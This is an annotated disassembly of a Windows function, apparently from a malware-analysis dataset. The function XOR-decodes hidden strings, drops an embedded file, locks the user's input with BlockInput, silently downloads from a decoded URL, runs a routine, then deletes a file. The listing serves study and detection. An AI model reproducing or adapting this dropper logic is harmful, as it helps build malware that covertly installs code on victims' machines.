Function at 0x140024930
Capabilities:
Delete file
Download and write a file
Download url
Encode data using xor
Receive and write data from server to client
Receive data
Write file on windows

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x40]
sub rsp, 0x140
xor esi, esi
mov dword [rbp - 0x76], 0x8bf58b8d
mov word [rbp - 0x2a], si
mov ecx, esi
mov dword [rbp - 0x72], 0x8b868b8c
mov edx, 0x7432
mov dword [rbp - 0x6e], 0x8bbd8bbb
mov dword [rbp - 0x6a], 0x8bba8bb0
mov dword [rbp - 0x66], 0x8ba48ba1
mov dword [rbp - 0x62], 0x8b8a8b84
mov dword [rbp - 0x5e], 0x8ba88ba3
mov dword [rbp - 0x5a], 0x8bb88ba8
mov dword [rbp - 0x56], 0x8bec8bb3
mov dword [rbp - 0x52], 0x8bbd8bd2
mov dword [rbp - 0x4e], 0x8b918ba6
mov dword [rbp - 0x4a], 0x8b938b8d
mov dword [rbp - 0x46], 0x8b958b83
mov dword [rbp - 0x42], 0x8bb58b9b
mov dword [rbp - 0x3e], 0x8b9f8b84
mov dword [rbp - 0x3a], 0x8b848b88
mov dword [rbp - 0x36], 0x8b9b8b9d
mov dword [rbp - 0x32], 0x8b828bde
mov dword [rbp - 0x2e], 0x8b808b8b
mov byte [rbp - 0x28], 1
nop word [rax + rax]
movzx eax, cx
sub ax, dx
xor word [rbp + rcx*2 - 0x76], ax
inc rcx
cmp rcx, 0x26
jb 0x1400249f0
mov byte [rbp - 0x28], sil
mov rcx, rsi
mov dword [rsp + 0x40], 0x8bf58b8d
mov dword [rsp + 0x44], 0x8b868b8c
mov dword [rsp + 0x48], 0x8bbd8bbb
mov dword [rsp + 0x4c], 0x8bba8bb0
mov dword [rsp + 0x50], 0x8ba48ba1
mov dword [rsp + 0x54], 0x8b8a8b84
mov dword [rsp + 0x58], 0x8ba88ba3
mov dword [rsp + 0x5c], 0x8bb88ba8
mov dword [rsp + 0x60], 0x8bec8bb3
mov dword [rsp + 0x64], 0x8bbd8bd2
mov dword [rsp + 0x68], 0x8b918ba6
mov dword [rsp + 0x6c], 0x8b938b8d
mov dword [rsp + 0x70], 0x8b958b83
mov dword [rsp + 0x74], 0x8bb58b9b
mov dword [rsp + 0x78], 0x8b988b84
mov dword [rsp + 0x7c], 0x8bc38b88
mov dword [rbp - 0x80], 0x8b968b9d
mov dword [rbp - 0x7c], 0x8b83
mov byte [rbp - 0x78], 1
nop dword [rax]
movzx eax, cx
sub ax, dx
xor word [rsp + rcx*2 + 0x40], ax
inc rcx
cmp rcx, 0x23
jb 0x140024aa0
mov qword [rsp + 0x30], rsi
lea rcx, [rbp - 0x76]
mov dword [rsp + 0x28], 0x80
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 1
mov edx, 0x10000000
mov byte [rbp - 0x78], sil
mov dword [rbp + 0x70], esi
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x50
je 0x140024b2f
cmp rdi, 0xffffffffffffffff
je 0x140024c1a
lea r9, [rbp + 0x70]
mov qword [rsp + 0x20], rsi
mov r8d, 0x6650
lea rdx, [0x1400b4600]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rdi
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test bl, bl
je 0x140024c1a
mov ecx, 1
call qword [sym.imp.USER32.dll_BlockInput]
movdqa xmm0, xmmword [0x140095d70]
mov rcx, rsi
movdqa xmm1, xmmword [0x140095d00]
movdqu xmmword [rbp - 0x26], xmm0
mov dword [rbp + 0xa], 0x7261939a
movdqa xmm0, xmmword [0x140095d10]
movdqu xmmword [rbp - 6], xmm0
mov dword [rbp + 0xe], 0x752a707b
movdqu xmmword [rbp - 0x16], xmm1
mov dword [rbp + 0x12], 0x100776e
nop dword [rax]
lea eax, [rcx - 0x32]
xor byte [rbp + rcx - 0x26], al
inc rcx
cmp rcx, 0x3a
jb 0x140024b80
movdqa xmm0, xmmword [0x140095d60]
mov rax, rsi
movdqa xmm1, xmmword [0x140095d90]
movdqu xmmword [rbp + 0x16], xmm0
mov byte [rbp + 0x15], sil
movdqu xmmword [rbp + 0x26], xmm1
mov dword [rbp + 0x36], 0x83969d
mov byte [rbp + 0x3a], 1
nop dword [rax]
lea ecx, [rax - 0x32]
xor byte [rbp + rax + 0x16], cl
inc rax
cmp rax, 0x23
jb 0x140024bc0
xor r9d, r9d
mov byte [rbp + 0x3a], sil
lea r8, [rbp + 0x16]
mov qword [rsp + 0x20], rsi
lea rdx, [rbp - 0x26]
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
xor r8d, r8d
lea rdx, [rsp + 0x40]
lea rcx, [rbp - 0x76]
call fcn.14000a670
mov ecx, 0xbb8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_DeleteFileA]
xor ecx, ecx
call qword [sym.imp.USER32.dll_BlockInput]
lea r11, [rsp + 0x140]
mov rbx, qword [r11 + 0x38]
mov rsi, qword [r11 + 0x40]
mov rdi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret